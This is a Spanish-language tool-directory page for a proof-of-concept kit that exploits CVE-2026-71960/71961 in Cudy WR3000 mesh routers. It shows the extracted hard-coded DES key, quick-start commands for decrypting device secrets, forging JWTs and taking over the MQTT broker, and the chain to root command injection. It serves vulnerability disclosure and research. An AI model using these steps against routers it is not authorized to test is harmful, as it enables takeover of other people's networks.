Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt — Kit de herramientas PoC que desempaqueta el firmware del router, descifra los secretos del dispositivo, forja tokens JWT y explota las vulnerabilidades CVE-2026-71960/71961 para tomar el control de los brokers MQTT mesh Cudy WR3000. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt
Seguridad IoTExplotaciónSeguridad de RedesCriptografíaPruebas de PenetraciónAutenticaciónAnálisis de Firmware
GitHubhunt-benito/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

Kit de herramientas PoC que desempaqueta el firmware del router, descifra los secretos del dispositivo, forja tokens JWT y explota las vulnerabilidades CVE-2026-71960/71961 para tomar el control de los brokers MQTT mesh Cudy WR3000.

Ver Repositorio
1hace 1 díaAún no revisado

CVE-2026-71960 — Secreto JWT hardcodeado en el broker MQTT mesh Cudy WR3000 2.0

Herramientas PoC para el artículo de Hunt-Benito "La misma clave abre todas las cajas: CVE-2026-71960 — Secreto JWT hardcodeado en el broker MQTT mesh WR3000 de Cudy" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)

Se encadena con CVE-2026-71961 (inyección de comandos del sistema operativo a través de la misma interfaz mesh MQTT) para lograr la ejecución de comandos como root en todos los nodos de un mesh Cudy WR3000 2.0 que ejecute firmware anterior a 2.5.24.

Qué hay aquí

ArchivoPropósito
extract_firmware.pyDesempaqueta un .bin público de sysupgrade de Cudy (hboot1tag + UBI) en un sistema de archivos OpenWrt completo. Verificado contra 2.4.14 / 2.4.15 / 2.5.24.
decrypt_bdinfo.pyDeriva la clave DES (DES_string_to_key("88T3j05dtFu8="), IV cero — recuperada de libbdinfo.so) y descifra un volcado MTD bdinfo de tu propio dispositivo, revelando deviceid y el secret compartido por toda la flota.
forge_jwt.pyGenera un token HS256 que satisface todas las comprobaciones de mosquitto_auth_unpwd_check (exp mínima 1577826000, concesión de nombre de usuario que contiene el deviceid). Autoverifica el ciclo completo.
mqtt_takeover.pySe conecta al broker en TCP 1883 con el JWT forjado, se suscribe a router/# y (opcionalmente, --cmd) explota el sumidero command.lua → io.popen de CVE-2026-71961.

Inicio rápido

root@kitploit:~
pip install pycryptodome pyjwt paho-mqtt

# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs

# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
#   88T3j05dtFu8=

# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin

# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'

# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'

Hallazgos de un vistazo

  • auth_plugin_jwt.so llama a bdinfo_get_value("deviceid") y bdinfo_get_value("secret") al arrancar el broker; el valor secret es la clave de firma HS256 para todos los JWT del mesh.
  • La comprobación exp del plugin es exp >= 1577826000 (2019-12-31T21:00:00Z); el resultado de la llamada a time() nunca se compara — los tokens en realidad nunca expiran.
  • alg: none es rechazado (EINVAL cuando se suministra una clave) — el secreto es realmente necesario; no hay atajo por confusión de algoritmos.
  • mosquitto_auth_acl_check() devuelve SUCCESS incondicionalmente — un CONNECT aceptado concede lectura/escritura en todos los temas.
  • El listener en texto plano 0.0.0.0:1883 (2.4.x) significa que no se necesita certificado de cliente TLS. El firmware corregido 2.5.24 elimina el listener 1883, suprime por completo el secreto de bdinfo y se basa en TLS mutuo.

Aviso legal

Solo para investigación de seguridad y educación autorizadas. Ejecute únicamente contra dispositivos que sean de su propiedad o para los que tenga permiso explícito por escrito de realizar pruebas. Los autores no asumen ninguna responsabilidad por el mal uso.

Fuentes

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71960
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71961
  • Aviso de VulnCheck: https://www.vulncheck.com/advisories/cudy-wr3000-hard-coded-jwt-secret-authentication-bypass-via-mqtt
  • Firmware de Cudy: https://www.cudy.com/en-us/pages/download-center/wr3000-2-0
Descargar herramienta